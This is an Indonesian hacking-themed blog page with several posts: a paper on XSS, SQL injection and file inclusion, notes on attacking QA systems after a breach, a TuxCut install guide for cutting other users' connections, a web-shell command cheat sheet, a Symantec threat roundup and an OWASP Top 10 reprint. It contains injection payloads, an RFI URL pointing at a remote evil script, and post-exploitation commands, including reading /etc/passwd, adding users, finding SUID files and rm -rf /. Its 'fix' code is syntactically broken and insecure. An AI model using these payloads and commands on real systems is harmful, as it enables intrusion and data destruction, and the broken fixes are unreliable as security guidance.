Woman And computer
Human And Computer
Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Protecting Website from Common Attacks

Labels:

------------------------------------------------------/

[-] Title : Protecting website from common attacks

[-] Date : 08-08-2010

[-] Author : vYc0d

[-] Contact : vyc0d@hackermail.com

[-] Web : http://vyc0d.blogspot.com

[-] Language : Indonesian

------------------------------------------------------/



Konten :

[1] Pendahuluan

[2] Cross Site Scripting

[3] SQL Injection

\_ Login Form Bypassing

\_ UNION SQL Injection

[4] File Inclusion

[5] Special Thanks



[1] Pendahuluan



Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan

di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini

adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman

yang memungkinkan attacker untuk dapat menyusup ke dalam website.







[2] Cross Site Scripting



Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman

web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker

kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna

dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.



Example:

http://www.situs.net/find.php?all=">



*Solusi (javascript) :



function RemoveBad(strTemp) {

strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");

return strTemp;

}







[3] SQL Injection



*\_ Login Form Bypassing



Berikut adalah contoh kode yang dapat kita bisa bypass:



index.html file:



Password:








login.php file:


// Contoh Kode

$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";

$result = mysql_query($execute);

?>




Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".

Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".



*Solusi :



Menggunakan mysql_real_escape_string



Contoh:


$badcode = "' OR 1 '";

$badcode = mysql_real_escape_string($badcode);

$message = "SELECT * from database WHERE password = "'$badcode'";

echo "what are doing nobs" . $message . ";

?>





*\_ Union SQL Injection



Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya

di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar

besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,

dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.



Contoh :

http://www.situs.net/index.php?id=1'

salah satu contoh pesan error:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....



Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))

http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error.

http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom

http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan

perintah version().



*Solusi :



Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:



$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";

$patch = eregi_replace($bug, "", $patch);








[4] File Inclusion



\_ Remote File Inclusion dan Local File Inclusion



Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.

Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server

dengan hanya melalui URL.



Contoh kode yang vulnerable :


include($_GET['page']);

?>




Beberapa contoh serangan :

http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI

http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI



*Solusi :



Validate the input.

$page = $_GET['page'];

$allowed = array('index.php', 'games.php' 'ip.php');

$iplogger = ('ip.php');

if (in_array $page, $pages)) {

include $page {

else

{

include $iplogger

die("IP logged.");

}








[5] Special Thanks



[-] Allah SWT, Muhammad SAW

[-] The big Family of :

[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew

[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie

[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)



Mirror : http://www.exploit-db.com/papers/14577/



Gold dust or Nuggets? A Hackers Tell

After a hard day's conferencing, security folks will typically end up in the hotel bar and, with odds often appearing to be in excess of 3:1, the conversation will inevitably encompass a discussion of which internal corporate systems are the most hacked/vulnerable/indefensible.

If the migratory cluster of bar stools and hotel chairs encircling the obligatory way-too-small table contains more than a pair of reformed hackers or pentesters, by listening in you'll end up gaining quite a bit of insight in to why the better hackers are so often successful (and you'll probably also pick up a few tell's for future reference).

While there's much literature and many tutorials to be found that explain the technical aspects of how to successfully compromise corporate defenses, exploit systems and ultimately extract data, there's actually very little "guidance" on which systems should be targeted and why, once you've breached the network. Sure, there's plenty of discussions covering the technical aspects of how to raise privileges (e.g. locating and exploiting the Active Directory server in order to acquire corporate user/admin credentials etc.), but which systems really provide the treasure trove?

Quite a few folks I've been speaking with will initially (and specifically) target the systems used by the corporate security teams. These systems are important for a couple of reasons; 1) internal security folks often have good access to a wide range of other systems that may be valuable and 2) By keeping an eye on the "watchers" you'll know when you're close to being caught and can stay a couple steps ahead. Personally, I think it's a ballsy move if you can pull it off - but it's not something I'd throw in as a priority. There are a lot of inherent risks in trying to tackle systems maintained and watched by the professionally paranoid - so it may be more prudent to gather better intel first.

Another primary target for some folks is to go after the obvious corporate data repositories - the backend databases, business intelligence systems and storage facilities. This mode of attack I'd associate much more with the quick "get in and get out of dodge as fast as you can" - maximizing the potential reward by sacrificing (IMHO) a fair degree of stealthiness and persistence. If typically works very well - and is an ideal tactic for "compelling result" penetration testing or hackers looking for rapidly monetizable data.

A tactic that I've always preferred (dependent upon the specific objectives of the pentest of course) is to initially locate and target the QA systems. For the folks that target the corporate secuity systems or go after the official data repositories, going after the QA systems sounds not only unexciting but also like a complete and utter waste of time. But hear me out first. QA systems really are a veritable treasure trove of corporate data. Consider the following:

  1. Like a smelly hobo camped outside a high-street McDonalds, both security analysts and helpdesk alike tend to keep their distance from (what are typically) "unmanaged" QA systems.
  2. QA systems often contain complete copies of the high-value corporate data so that development teams and QA/Testing personnel can actually test the applications correctly. You'll often also note that the more "valuable" a particular suite of data, application or business process is, the higher the probability that the QA copies of the data will in fact be real-time mirror images of live data.
  3. Nobody ever "owns" the QA systems. They're always the last systems to get patched (if ever) and access controls typically hover between poor and non-existent.
  4. When was the last time anyone bothered to look at the audit logs? With so many ad-hoc system use, trials and testing, it's a nightmare from both a detection and forensics perspective. QA systems are an ideal place to recon an enterprise network from and retain a persistent toe-hold within the organization.
  5. QA systems typically have "temporary" access to to all the core business systems and data repositories within a corporate network. By "temporary" I mean in theory if you listen to the server administrators - in practice they can be considered permanent gateways.
  6. Testing systems are typically littered with copies of entire development source code trees - making it a piece of cake to acquire the latest business logic, intellectual property or hard-coded/embedded passwords to other critical systems within the corporate entity.
Sure, there's plenty of other opportunistic systems to go after within a target's organization once they've been breached, but with all other factors being equal, there are certain tactical tell's that can be readily associated with the types of hackers and pentesters out there (the previous three just being examples I heard/discussed repeatedly over the last couple of weeks).

The primary objectives and "styles" of the hackers/pentesters reminds me a little of those old Western gold-rush films. Rounding up the Sheriff and his deputies and locking them up in their own jail before robbing the bank is a little analogous to going after the security folks/systems. Meanwhile the priority targeting of the corporate data repositories reminds me of a stagecoach robbery - the pounding of hooves and guns blazing. Yet going after the QA systems reminds me of a movie in which the villains dig up the ground under the saloon and casino - hoovering up all the gold dust that patrons had lost over the years through the cracks in the floorboards.

Grab a beer with a friendly hacker or pentester and ask them how they'd earn their gold.

TuxCut, Pemotong Koneksi Client

Labels:

TuxCut, sebuah aplikasi yang dapat digunakan untuk memotong akses internet pada hotspot, atau sebuah PC LAN workgroup dari client ke server atau sebaliknya dengan memanfaatkan protokol ARP. Program ini dipergunakan oleh pengguna jaringan yang jail dan ingin mengambil jatah bandwith untuk dipakai sendiri. Tuxcut di buat dari bahasa PyQt, untuk lebih jelasnya bisa langsung mengunjungi situs resminya di http://bitbucket.org/a_atalla/tuxcut/src/

Di dalam Tuxcut sudah di bundel fitur buat memproteksi kita agar koneksi internet kita tidak bisa dicut atau di potong oleh user lain. Selain itu, ada fitur buat mac scanning dan mac changer-nya juga. Sebaliknya untuk Netcut, agar kita terproteksi dari user jail yang memakai Netcut, kita harus menginstall program lagi yakni AntiNetcut (meski netcut selalu lebih maju dari anti netcut).

Untuk cara penginstalannya, disini saya menggunakan sistem operasi berbasis Ubuntu linux.

1. Download TuxCut, karena kita mau menginstall di kubuntu, kita download debian package di http://bitbucket.org/a_atalla/tuxcut/downloads/TuxCut-3.2_all.deb

2. Sebelum menginstall TuxCut, kita perlu menginstall arp-scan arp-tables dan dsniff (membutuhkan koneksi internet agar kebih mudah dalam proses installnya)

a. Install arp-scan dengan perintah
$ sudo apt-get arp-scan

b. Install dsniff dengan perintah
$ sudo apt-get install dsniff

c. Install arptables, download versi arptables terbaru di http://sourceforge.net/projects/ebtables/files/arptables/

tar zxf arptables-v0.0.3-3.tar.gz
cd arptables-v0.0.3-3
make && make install

3.Install TuxCut dengan perintah
$ sudo dpkg -i TuxCut-3.2_all.deb

*jika masih terdapat error karena library yang masih kurang, bisa dicoba command berikut: apt-get install -f

Berikut ini screenshoot dari TuxCut yang berhasil di install di Ubuntu 9.10 :



Perintah WebShell

Labels:


Sudah pada punya web shell blm??? Pasti udah :D
sekedar berbagi beberapa command yang bisa dijalankan pada web shell

cat ./../mainfile.php = Config file.

ls -la = Lists directory's.

ifconfig {eth0 etc} = Ipconfig equiv.

ps aux - Show running proccess's.

gcc in_file -o out_file - Compile c file.

cat /etc/passwd - List's accounts.

sudo - Superuser Do run a command as root provided you have perms
in /etc/sudoers.

id - Tells you what user your logged in as.

which wget curl w3m lynx - Check's to see what downloaders are
present.

uname -r - Shows all release info (or) cat /etc/release.

uname -a - Shows all kernal info (or) cat /etc/issue

last -30 - Last logged 30 ip's can change to desired number.

useradd - Create new user account.

usermod - Modify user account.

w - See who is currently logged on.

locate password.txt - Locates password.txt in current dur can use *.

rm -rf / - Please be carefull with this command, i cannot stress this
enough.

arp -a - Lists other machines are on the same subnet.

lsattr -va - ls file attributes on linux second extended file system

find / -type f -perm -04000 -ls - Finds suid files.

find . -type f -perm -04000 -ls - Finds suid files in current dir.

find / -type f -perm -02000 -ls - Finds all sgid files.

find / -perm -2 -ls - Finds all writable files and folders.

find . -perm -2 -ls - Finds all writable files and folders in current dir.

find / -type f -name .bash_history - Finds bash history.

netstat -an | grep -i listen - shows open ports.

cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
with no pass.

find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.

cat /proc/version /proc/cpuinfo - Cpu info.

locate gcc- Finds gcc if installed.

set - Display system variables.

echo $path- Echo current path.

lsmod- Dumps kernal modules.

mount/df- Check mounted file system.

rpm -qa- Check patch level for RedHat 7.0.

dmesg- Check hardware ino.

cat /etc/syslog.conf - Log file.

uptime - Uptime check.

cat /proc/meminfo - Memory check.

find / -type f -perm -4 -print 2> /dev/null- Find readble files.

find / -type f -perm -2 -print 2> /dev/null - Find writable files.

chmod ### $folder - Chmod folder.

ls -l -b - Verbosly list directory's

Silahkan ditambahkan sendiri ^:)^

Serangan Umum Internet di 2009

Labels:

Sepanjang tahun 2009 ini, gelombang serangan terhadap pengguna internet di seluruh dunia tak habis-habisnya menghadang. Symantec, salah satu pemain utama di bidang keamanan mencatat beberapa metode utama serangan yang marak hadir tahun ini.

Drive-by Download Semakin Banyak
Penyerang menginfeksi komputer penjelajah internet secara diam-diam dengan menyusup di situs legal. Popularitas metode ini terus tumbuh. Di tahun 2008, Symantec mengamati sebanyak 18 juta percobaan serangan drive-by download; akan tetapi, dari Agustus sampai Oktober 2009 sendiri, Symantec mencatat terjadi sebanyak 17,4 juta serangan.

Kembalinya Intensitas Spam ke Sebelum McColo
Symantec melihat penurunan sebesar 65 persen dari jumlah total pesan spam dalam 24 jam setelah penutupan McColo di akhir 2008 dan 24 jam setelahnya, jumlah spam turun mencapai level 69,8 persen dari seluruh email. Akan tetapi, di 2009, volume keseluruhan spam kembali ke angka rata-rata 87,4 persen dari seluruh email, mencapai maksimum 95 persen dari seluruh pesan di akhir Mei.

Meningkatnya Ancaman Polimorfis
Polymorfisme berarti memiliki kemampuan untuk bermutasi. Dengan demikian, ancaman polimorfis merupakan ancaman yang membuat setiap malware sedikit berbeda dengan malware sebelumnya. Kode pengubahan otomatis yang dibuat di dalam malware tidak mempengaruhi fungsionalitasnya, tetapi membuat teknologi pendeteksian milik antivirus tradisional tidak dapat mengatasinya. Symantec telah mengamati ancaman polimorfis seperti Waladac, Virut, dan Sality, menjadi semakin umum sejalan dengan penjahat dunia maya mencari cara untuk memperluas cara mereka mengelak dari teknologi antivirus konvensional.

Meningkatnya Pembajakan Reputasi
Geocities merupakan merek yang paling umum yang dibajak oleh spammer sebagai usaha untuk menipu pengguna komputer, tetapi dengan penutupan layanan web hosting tersebut oleh Yahoo pada akhir Oktober lalu, Symantec melihat bahwa terjadi peningkatan pesat dari jumlah layanan web gratis berskala kecil, seperti layanan pemendek URL, yang nama dan reputasinya disalahgunakan oleh spammer. Hal ini dikarenakan oleh kemajuan di teknologi penembus CAPTCHA, yang memudahkan karakter berbahaya membuat akun dan profil ganda yang digunakan untuk spamming. Symantec bahkan telah mengamati bahwa beberapa dari perusahaan layanan web berskala kecil tersebut telah menutup situs mereka sendiri sebagai satu-satunya cara untuk menghentikan spam.

Pencurian Data Terus Berlangsung
Menurut Identity Theft Resource Center, sampai 13 Oktober 2009, 403 kasus penerobosan data telah dilaporkan sepanjang tahun dan mengekspos lebih dari 220 juta dokumen. Menurut Ponemon Institute, orang dalam yang tidak bermaksud jahat terus mewakili bagian terbesar dari insiden hilangnya data dengan 88% dari seluruh insiden kehilangan data disebabkan oleh orang dalam seperti karyawan dan partner. Meski demikian, terdapat peningkatan perhatian terhadap kehilangan data berbahaya. Menurut penelitian Ponemon, 59% mantan karyawan mengakui bahwa mereka mengambil data perusahaan saat mereka meninggalkan pekerjaannya. Di saat organisasi semakin meningkatkan fokus untuk menghindari kehilangan data, tampak jelas bahwa banyak hal yang perlu dilakukan untuk mencegah informasi sensitif dibawa ke luar dari perusahaan.

Kabar gembiranya, di tahun 2009 ini, kerjasama intra dan lintas industri untuk mengatasi ancaman internet semakin semakin solid. Bersama dengan ulang tahun varian pertama ancaman Conficker pada pengguna, kita diingatkan bagaimana peningkatan organisasi dan kecerdasan penjahat dunia maya telah membuat jalinan kerjasama yang lebih luas di antara vendor keamanan, penegak hukum, dan penyedia layanan internet.

Contoh yang tampak di tahun 2009 antara lain adalah Conficker Working Group (CWG), gerakan �Operation Phish Phry� yang dilancarkan FBI dan Digital Crimes Consortium, yang menggelar pengukuhannya di Oktober.


Sumber : http://www.arrahmah.com

10 reasons Websites get Hacked

Labels:

Below you will find list of top 10 web vulnerabilities classified by OWASP, here is also description of the problem and some examples.

I will just give you the list in case you missed it before, i will not comment on any of these as there is already hot discussion about this matter on several sites/forums.

So here it starts:

1. Cross site scripting (XSS)

The problem: The �most prevalent and pernicious� Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.

Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank�s Web site, according to Snyder.

Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that�s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. �Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,� OWASP says.


2. Injection flaws

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter � which interprets text-based commands � into executing unintended commands. �Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,� OWASP writes. �In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.�

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. �If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,� OWASP writes.


3. Malicious file execution

The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.

How to protect users: Don�t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.


4. Insecure direct object reference

The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.

�References to database keys are frequently exposed,� OWASP writes. �An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.�

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can�t avoid direct references, authorize Web site visitors before using them


5. Cross site request forgery

The problem: �Simple and devastating,� this attack takes control of victim�s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or �remember me� functionality. Banks are potential targets.

�Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,� Williams says. �Has there been an actual exploit where someone�s lost money? Probably the banks don�t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.�

Real-world example: A hacker known as Samy gained more than a million �friends� on MySpace.com with a worm in late 2005, automatically including the message �Samy is my hero� in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user�s language preferences.

How to protect users: Don�t rely on credentials or tokens automatically submitted by browsers. �The only solution is to use a custom token that the browser will not �remember,�� OWASP writes.


6. Information leakage and improper error handling

The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program�s configuration and internal workings.

�Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,� OWASP says.

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company�s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

How to protect users: Use a testing tool such as OWASP�S WebScarab Project to see what errors your application generates. �Applications that have not been tested in this way will almost certainly generate unexpected error output,� OWASP writes.


7. Broken authentication and session management

The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

�Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,� OWASP writes.

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Another tip: get rid of custom cookies used for authentication or session management.


8. Insecure cryptographic storage

The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it�s often poorly designed, using inappropriate ciphers.

�These flaws can lead to disclosure of sensitive data and compliance violations,� OWASP writes.

Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don�t invent your own cryptographic algorithms. �Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,� OWASP advises.

Furthermore, generate keys offline, and never transmit private keys over insecure channels.


9. Insecure communications

The problem: Similar to No. 8, this is a failure to encrypt network traffic when it�s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.

�The $17.4-billion retailer's wireless network had less security than many people have on their home networks,� the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.

How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.


10. Failure to restrict URL access

The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there�s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as �123456.� A hacker might say �I wonder what�s in 123457?� Williams says.

The attacks targeting this vulnerability are called forced browsing, �which encompasses guessing links and brute force techniques to find unprotected pages,� OWASP says.

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get �Platinum� passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

How to protect users: Don�t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user�s role and privileges. �Make sure this is done � every step of the way, not just once towards the beginning of any multi-step process,� OWASP advises.


Written by Jakub Maslowski | zone-h.org

 
Internet